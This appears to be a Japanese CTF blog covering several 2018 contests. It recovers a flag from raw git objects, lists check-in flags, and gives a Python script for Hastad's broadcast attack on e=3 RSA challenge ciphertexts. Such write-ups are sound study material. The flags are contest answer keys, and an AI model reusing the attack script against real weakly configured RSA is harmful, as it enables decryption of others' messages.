$ python -c 'import zlib; print zlib.decompress(open("objects/2f/ec4e955704bd60292a9f9169f05c3334e555f4").read())'
commit 261tree b1f96509209200a6dda7ad4bdeb70261c730abe2
parent b182065ebc321a5432ab89be1ef2240077b3fbec
author Calle Svensson <calle.svensson@zeta-two.com> 1523665372 +0200
committer Calle Svensson <calle.svensson@zeta-two.com> 1523665372 +0200

Added pencil to wishlist

$ python -c 'import zlib; print zlib.decompress(open("objects/b1/f96509209200a6dda7ad4bdeb70261c730abe2").read())' | xxd -g 1
0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64  tree 77.100644 d
0000010: 69 61 72 79 2e 74 78 74 00 4b 3c a9 1d 6d db a6  iary.txt.K<..m..
0000020: e9 f0 aa bd 33 c3 6d 2a 4f a7 15 91 ab 31 30 30  ....3.m*O....100
0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74  644 wishlist.txt
0000040: 00 80 7a 75 19 57 53 88 2b 07 b6 9b dd ce d3 fd  ..zu.WS.+.......
0000050: 82 d3 cc af 9c 0a                                ......

$ python -c 'import zlib; print zlib.decompress(open("objects/80/7a75195753882b07b69bddced3fd82d3ccaf9c").read())'
blob 79~~ My Wishlist ~~
* A dog
* Computer game
* A wolf t-shirt
* Stickers
* Pencil

$ python -c 'import zlib; print zlib.decompress(open("objects/b1/82065ebc321a5432ab89be1ef2240077b3fbec").read())'
commit 247tree ebad3d2a3f429429928e9b1a8169564dc9342f7a
parent e7354a8187cd28c075e602f40380968d2865dcac
author Calle Svensson <calle.svensson@zeta-two.com> 1523665225 +0200
committer Calle Svensson <calle.svensson@zeta-two.com> 1523665225 +0200

April 14th

$ python -c 'import zlib; print zlib.decompress(open("objects/eb/ad3d2a3f429429928e9b1a8169564dc9342f7a").read())' | xxd -g 1
0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64  tree 77.100644 d
0000010: 69 61 72 79 2e 74 78 74 00 4b 3c a9 1d 6d db a6  iary.txt.K<..m..
0000020: e9 f0 aa bd 33 c3 6d 2a 4f a7 15 91 ab 31 30 30  ....3.m*O....100
0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74  644 wishlist.txt
0000040: 00 d9 30 f1 5a c0 20 06 4a d6 e7 94 48 53 2b 3c  ..0.Z. .J...HS+<
0000050: 5b 9c 08 71 ef 0a                                [..q..

$ python -c 'import zlib; print zlib.decompress(open("objects/d9/30f15ac020064ad6e79448532b3c5b9c0871ef").read())'
Traceback (most recent call last):
  File "<string>", line 1, in <module>
IOError: [Errno 2] No such file or directory: 'objects/d9/30f15ac020064ad6e79448532b3c5b9c0871ef'

$ python -c 'import zlib; print zlib.decompress(open("objects/e7/354a8187cd28c075e602f40380968d2865dcac").read())'
commit 247tree 2160a4fb4d08f926f96580f8e44ecb3012bb3e12
parent afe5a9b6a373add54d07d874fb08edeec4a740da
author Calle Svensson <calle.svensson@zeta-two.com> 1523665209 +0200
committer Calle Svensson <calle.svensson@zeta-two.com> 1523665209 +0200

April 13th

$ python -c 'import zlib; print zlib.decompress(open("objects/21/60a4fb4d08f926f96580f8e44ecb3012bb3e12").read())' | xxd -g 1
0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64  tree 77.100644 d
0000010: 69 61 72 79 2e 74 78 74 00 9f ad 23 eb 69 12 54  iary.txt...#.i.T
0000020: cd 25 42 fe 37 7b 6d c6 06 4b a7 ef 53 31 30 30  .%B.7{m..K..S100
0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74  644 wishlist.txt
0000040: 00 d9 30 f1 5a c0 20 06 4a d6 e7 94 48 53 2b 3c  ..0.Z. .J...HS+<
0000050: 5b 9c 08 71 ef 0a                                [..q..

$ python -c 'import zlib; print zlib.decompress(open("objects/9f/ad23eb691254cd2542fe377b6dc6064ba7ef53").read())'
blob 415Hello!

This is my diary. There are many like it but this one is mine.

April 9th
Today was a good day. I ate some pie.

April 10th
I was a little bit sad today.

April 11th
Today I found a flag, it said: <PAGE TORN HERE> that sounds very interesting.

April 12th
I called my uncle today. He said he read a cool story in the newspaper.

April 13th
Tomorrow is my birthday. I am very excited to see if I get a cake.

$ python -c 'import zlib; print zlib.decompress(open("objects/af/e5a9b6a373add54d07d874fb08edeec4a740da").read())'
Traceback (most recent call last):
  File "<string>", line 1, in <module>
IOError: [Errno 2] No such file or directory: 'objects/af/e5a9b6a373add54d07d874fb08edeec4a740da'

フラグが見つからない。手あたり次第調べる。

$ python -c 'import zlib; print zlib.decompress(open("objects/1c/8a3c51ee520c73063961fe289a5bda4a5e50c5").read())'
commit 246tree 1dd5ab00ec968226aad37c2a0e23a3f8fba9e4aa
parent 32dbb65cd1d1612a9c88805dde8a32115a19949f
author Calle Svensson <calle.svensson@zeta-two.com> 1523665080 +0200
committer Calle Svensson <calle.svensson@zeta-two.com> 1523665080 +0200

April 9th

$ python -c 'import zlib; print zlib.decompress(open("objects/1d/d5ab00ec968226aad37c2a0e23a3f8fba9e4aa").read())' | xxd -g 1
0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64  tree 77.100644 d
0000010: 69 61 72 79 2e 74 78 74 00 2a c0 ee cb a4 ba b7  iary.txt.*......
0000020: 2c 3e e1 3f 57 44 bd f8 41 94 7a 5f 7e 31 30 30  ,>.?WD..A.z_~100
0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74  644 wishlist.txt
0000040: 00 d9 30 f1 5a c0 20 06 4a d6 e7 94 48 53 2b 3c  ..0.Z. .J...HS+<
0000050: 5b 9c 08 71 ef 0a                                [..q..

$ python -c 'import zlib; print zlib.decompress(open("objects/2a/c0eecba4bab72c3ee13f5744bdf841947a5f7e").read())'
blob 120Hello!

This is my diary. There are many like it but this one is mine.

April 9th
Today was a good day. I ate some pie.

$ python -c 'import zlib; print zlib.decompress(open("objects/32/dbb65cd1d1612a9c88805dde8a32115a19949f").read())'
commit 266tree b78b2c9900bb05e863f8a3e74e656f2822d9a01f
parent 6a815d656900fface9ed54f74d16bb80821fec47
author Calle Svensson <calle.svensson@zeta-two.com> 1523665066 +0200
committer Calle Svensson <calle.svensson@zeta-two.com> 1523665066 +0200

Added stickers to my wishlist

$ python -c 'import zlib; print zlib.decompress(open("objects/b7/8b2c9900bb05e863f8a3e74e656f2822d9a01f").read())' | xxd -g 1
0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64  tree 77.100644 d
0000010: 69 61 72 79 2e 74 78 74 00 fa bb 13 23 4d d9 4f  iary.txt....#M.O
0000020: 69 76 40 22 0e d4 48 ab db d0 5f 3a b1 31 30 30  iv@"..H..._:.100
0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74  644 wishlist.txt
0000040: 00 d9 30 f1 5a c0 20 06 4a d6 e7 94 48 53 2b 3c  ..0.Z. .J...HS+<
0000050: 5b 9c 08 71 ef 0a                                [..q..

$ python -c 'import zlib; print zlib.decompress(open("objects/fa/bb13234dd94f697640220ed448abdbd05f3ab1").read())'
blob 72Hello!

This is my diary. There are many like it but this one is mine.

$ python -c 'import zlib; print zlib.decompress(open("objects/6a/815d656900fface9ed54f74d16bb80821fec47").read())'
commit 205tree 7db3bf515b769b5507c420e59671d527500998f4
author Calle Svensson <calle.svensson@zeta-two.com> 1523665007 +0200
committer Calle Svensson <calle.svensson@zeta-two.com> 1523665007 +0200

Created my diary

$ python -c 'import zlib; print zlib.decompress(open("objects/7d/b3bf515b769b5507c420e59671d527500998f4").read())' | xxd -g 1
0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64  tree 77.100644 d
0000010: 69 61 72 79 2e 74 78 74 00 fa bb 13 23 4d d9 4f  iary.txt....#M.O
0000020: 69 76 40 22 0e d4 48 ab db d0 5f 3a b1 31 30 30  iv@"..H..._:.100
0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74  644 wishlist.txt
0000040: 00 eb 05 64 99 96 aa d8 ae e2 a9 a7 1e 7a 22 f8  ...d.........z".
0000050: 89 c1 44 09 46 0a                                ..D.F.

$ python -c 'import zlib; print zlib.decompress(open("objects/eb/05649996aad8aee2a9a71e7a22f889c1440946").read())'
blob 59~~ My Wishlist ~~
* A dog
* Computer game
* A wolf t-shirt

$ python -c 'import zlib; print zlib.decompress(open("objects/4e/9a1fe2aeb76cd0ab2c3d232691b714146b0475").read())'
commit 247tree 101878b72d0c1f07341bef8f4c4f01c5b99412df
parent f668fa6d35bcf679fe0b2a4eb53a4379b8489eed
author Calle Svensson <calle.svensson@zeta-two.com> 1523665126 +0200
committer Calle Svensson <calle.svensson@zeta-two.com> 1523665126 +0200

April 11th

$ python -c 'import zlib; print zlib.decompress(open("objects/10/1878b72d0c1f07341bef8f4c4f01c5b99412df").read())' | xxd -g 1
0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64  tree 77.100644 d
0000010: 69 61 72 79 2e 74 78 74 00 18 f0 c6 6f e2 47 07  iary.txt....o.G.
0000020: 6f 80 1b a8 ee a1 9c 47 8f 8b e3 d4 49 31 30 30  o......G....I100
0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74  644 wishlist.txt
0000040: 00 d9 30 f1 5a c0 20 06 4a d6 e7 94 48 53 2b 3c  ..0.Z. .J...HS+<
0000050: 5b 9c 08 71 ef 0a                                [..q..

$ python -c 'import zlib; print zlib.decompress(open("objects/18/f0c66fe247076f801ba8eea19c478f8be3d449").read())'
blob 285Hello!

This is my diary. There are many like it but this one is mine.

April 9th
Today was a good day. I ate some pie.

April 10th
I was a little bit sad today.

April 11th
Today I found a flag, it said: midnight{if_an_object_ref_falls_and_no_one_hears} that sounds very interesting.
midnight{if_an_object_ref_falls_and_no_one_hears}

Hack Zone Tunisia 2018 参戦

この大会は2018/4/15 5:00(JST)~2018/4/15 17:00(JST)に開催されました。
今回もチームで参戦。結果は1708点で63チーム中11位でした。
今回は自分が得点した問題は1問もありませんでした。
パッと見た感じ、簡単には解ける問題もなかったので、他の大会を優先。
Writeupで復習したいと思います。

HITB-XCTF GSEC CTF 2018 Quals Writeup

この大会は2018/4/11 23:00(JST)~2018/4/13 23:00(JST)に開催されました。
今回もチームで参戦。結果は692点で344チーム中81位でした。
自分で解けた問題は参加表明問題だけでしたが、Writeupとして書いておきます。

IRC checkin (Misc)

freenodeで #hitbxctf2018 チャネルに入る。

22:58 *topic : HITB-XCTF 2018 GSEC Online Qualifications | https://conference.hitb.org/hitbsecconf2018ams/hitb-xctf-gsec-qualifications/. Flag for IRC checkin: HITBXCTF{W3lcome_To_HITBXCTF_2018_Online_Qualifications}
HITBXCTF{W3lcome_To_HITBXCTF_2018_Online_Qualifications}

UIUCTF 2018 Writeup

この大会は2018/4/7 9:00(JST)~2018/4/9 9:00(JST)に開催されました。
今回もチームで参戦。結果は602点で431チーム中19位でした。
自分で解けた問題をWriteupとして書いておきます。

We Read the Rules (other 0)

ルール記述の下にフラグが書いてある。

flag{0kay_s0unds_g00d_2_m3}

irc (other 1)

freenodeで#uiuctfチャネルに入る。

10:13 *topic :  Welcome to UIUCTF | CTF live at https://uiuc.tf/ flag{sorry_for_not_posting_link_to_irc_sooner}
flag{sorry_for_not_posting_link_to_irc_sooner}

ROT180 (Misc 1)

上下反対(180度回転)にするとフラグになっている。

flag{at_least_its_not_recon}

Hastad (Crypto 200)

Hastad's broadcast attackで攻撃できそう。
eは3なので、対応するnとcのペアが3つ必要。
ペアが分からず、cが15個もあるので、総当たりで攻撃する。

import functools
import itertools

def chinese_remainder(n, a):
    sum = 0
    prod = functools.reduce(lambda a, b: a*b, n)
    for n_i, a_i in zip(n, a):
        p = prod // n_i
        sum += a_i * mul_inv(p, n_i) * p
    return sum % prod
 
def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1: return 1
    while a > 1:
        q = a // b
        a, b = b, a%b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0: x1 += b0
    return x1

def inv_pow(c, e):
    low = -1
    high = c+1
    while low + 1 < high:
        m = (low + high) // 2
        p = pow(m, e)
        if p < c:
            low = m
        else:
            high = m
    m = high
    if pow(m, e) != c:
        return 0
    return m

N1 = 0xbc4ec2b74d85fb57ec07f538b59987c1150042ef76178b7af6dc09ca139dc8570226fe0317f3b73e8f98de38eb03a986496431d8526be4e65d47d86130a4370348b8a8dbba80d922f4dbac31b95f1028baac1ba8f8cab00d6e362c761da0dece81a700b92a5c1d79ec50451b3147805123e92f424d422d688ab020280d35384f
N2 = 0xd83a59170679b7d8b2199e98656717c515e06e44e65b5f7b687e4fec6d21a7e6e75ecbcf208202f210ef8e29a7ad44ab72914b1f35d502f6d7f657e5512d4b989773515cbc046ca3ffef37f3090548ac1086d96c96fe7edb9bdeb58ba635fa1582da4a85357105293139c8152d70c2ec5ec667bb91197c353cd6aafac73476df
N3 = 0xc39ab84fbf6709048427c05dbd303f0ba2f90ecdd51a809f1d8da9df0546a771e982a6bccb299c4bf12d1b0b11df88b0627563d726bb70c5121cb5722c75e35b54e6d43d09443738fe3ac8e5a8bb74b1667ddf6592359d9fc65a05a32b98a50c52f1339ed8b5fab5616d52d81a11579a83fc33e069c4d9cfb93b24d752937ced
N = [N1, N2, N3]

e = 3

c = [
0x10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee65,
0x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d40163376416270965,
0x10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa65,
0x10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee65,
0x10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d3165,
0x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d40163376416270965,
0x10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d3165,
0x10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e065,
0x10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa65,
0x10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee65,
0x10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e065,
0x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d40163376416270965,
0x10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d1665,
0x10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d1665,
0x10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee65]

i = 0
for elm in itertools.permutations(c, 3):
    error = False
    C = [elm[0], elm[1], elm[2]]
    a = chinese_remainder(N, C)
    for n, c in zip(N, C):
        if a % n != c:
            error = True
            break
    if error == False:
        m = inv_pow(a, e)
        if m != 0:
            flag = ('%x' % m).decode('hex')
            print flag
            break
flag{wh00ps_srry_4_br0adcast}